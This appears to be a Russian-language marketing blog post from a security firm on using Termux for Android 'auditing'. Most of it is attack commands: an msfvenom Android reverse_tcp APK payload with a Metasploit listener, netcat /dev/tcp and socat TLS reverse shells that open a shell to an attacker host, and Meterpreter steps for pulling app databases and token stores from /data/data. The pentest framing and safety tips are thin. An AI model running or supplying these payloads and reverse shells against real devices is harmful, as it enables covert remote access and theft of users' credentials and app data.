Termux – это мощный эмулятор терминала для Android, который позволяет запускать полноценную Linux‑среду прямо на мобильном устройстве. Благодаря доступу к системным API и возможности установки пакетов из репозиториев, Termux становится удобным инструментом для проведения предварительного аудита Android‑устройств, сбора логов, поиска уязвимостей и организации обратных каналов.
Подготовка окружения в Termux
Перед началом работы необходимо установить базовые пакеты и настроить репозитории:
apt update && apt upgrade -y
apt install -y git curl wget python python-pip gnupg openssh-client netcat-openbsd socat
Для работы с более продвинутыми инструментами рекомендуется добавить репозиторий termux‑extras:
pkg install root-repo
pkg install unstable-repo
pkg install x11-repo
Сбор системных логов
Логи позволяют быстро выявить ошибки, подозрительные запросы и потенциальные уязвимости. На Android доступны несколько источников логов:
logcat– основной журнал событий Android.dmesg– сообщения ядра.cat /proc/pid/status– состояние конкретных процессов.
Примеры команд:
# Сохранить последние 5000 строк logcat в файл
logcat -d -t 5000 > ~/android_logcat.txt
# Вывести сообщения ядра за последние 60 секунд
dmesg --time-format iso | tail -n 200 > ~/android_dmesg.txt
# Список запущенных процессов с расширенной информацией
ps -A -o pid,uid,gid,comm,args > ~/android_ps.txt
Все полученные файлы удобно архивировать и передать на более мощный ПК для дальнейшего анализа:
zip -r ~/android_logs_$(date +%F).zip ~/android_.txt
Поиск уязвимостей и сканирование сервисов
Termux поддерживает большинство популярных сканеров и фреймворков. Ниже перечислены основные инструменты:
nmap– сканирование открытых портов и сервисов.nikto– проверка веб‑серверов.enum4linux– сбор информации о SMB‑службах.searchsploit– поиск известных эксплойтов в базе Exploit‑DB.
Установка:
apt install -y nmap nikto enum4linux searchsploit
Пример сканирования локального устройства (по умолчанию Android‑доступен по 127.0.0.1):
# Сканировать все TCP‑порты
nmap -sS -p- 127.0.0.1 -oN ~/nmap_full.txt
# Выявить версии сервисов
nmap -sV -p 80,443 127.0.0.1 -oN ~/nmap_services.txt
Поиск эксплойтов по найденным сервисам:
# Поиск эксплойтов для обнаруженного сервера Apache 2.4.41
searchsploit apache 2.4.41
Создание и запуск эксплойтов
Для генерации полезных нагрузок удобно использовать msfvenom из Metasploit Framework. Metasploit доступен в Termux через репозиторий unstable-repo:
apt install -y metasploit
Пример создания APK‑пэйлоада с обратным соединением:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 R -o ~/payload.apk
После установки полученного payload.apk на целевое устройство, необходимо запустить слушатель в Metasploit:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
Организация обратных каналов
Обратный канал (reverse shell) позволяет получить интерактивный доступ к устройству из внешней сети. Самые простые способы – netcat и socat:
- Netcat (nc) – «швейцарский нож» для TCP/UDP соединений.
- Socat – более гибкий инструмент с поддержкой TLS.
Пример простого обратного shell через netcat:
# На атакующей машине (слушаем порт 5555)
nc -lvkp 5555
# На целевом Android (в Termux)
exec 5<>/dev/tcp/192.168.1.100/5555
cat <&5 >5
Для более надёжного соединения рекомендуется использовать TLS‑обёртку:
# Создаём самоподписанный сертификат (один раз)
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
# Слушаем на атакующей машине через socat
socat openssl-listen:8443,reuseaddr,cert=cert.pem,key=key.pem,fork STDIO
# На Android запускаем обратный канал
socat EXEC:'/system/bin/sh -i',pty,stderr,setsid,sigint,sane,openssl:192.168.1.100:8443,verify=0
Для интеграции с Metasploit можно воспользоваться готовыми модульными обработчиками (exploit/multi/handler) – они автоматически поддерживают шифрование и восстановление сессий.
Пост‑эксплуатация и сбор артефактов
После получения доступа важно быстро собрать важные артефакты:
- Файлы конфигураций (
/data/data//shared_prefs/). - Базы данных приложений (SQLite, Realm).
- Ключи и токены в
/data/data/com.android.providers.settings/databases/settings.db.
Пример выгрузки SQLite‑базы с помощью встроенного в Meterpreter модуля:
meterpreter > download /data/data/com.example.app/databases/app.db /sdcard/app.db
Рекомендации по безопасной работе
- Всегда используйте отдельный тестовый девайс – работа с root‑привилегиями может привести к потере данных.
- Обеспечьте шифрование всех передаваемых файлов (TLS, SSH).
- Сохраняйте логи аудита и используйте контрольные суммы для проверки целостности.
- Постоянно обновляйте пакеты в Termux:
apt update && apt upgrade -y.
Заключение
Termux предоставляет полный набор инструментов для быстрого и эффективного анализа уязвимостей Android‑устройств непосредственно на самом устройстве. Сбор логов, сканирование сервисов, генерация эксплойтов и настройка обратных каналов – всё это реализуется в привычной Linux‑среде без необходимости подключения к ПК.
Если вы хотите вывести уровень защиты вашего мобильного парка на новый уровень, команда RybinskLab готова помочь:
- Проведение комплексных пенетеста Android‑платформ.
- Разработка кастомных скриптов и модулей для Termux.
- Обучение сотрудников методикам безопасного аудита мобильных устройств.
- Консультации по построению безопасных CI/CD‑процессов для мобильных приложений.
Свяжитесь с нами, чтобы обсудить детали проекта и получить профессиональную поддержку от экспертов RybinskLab.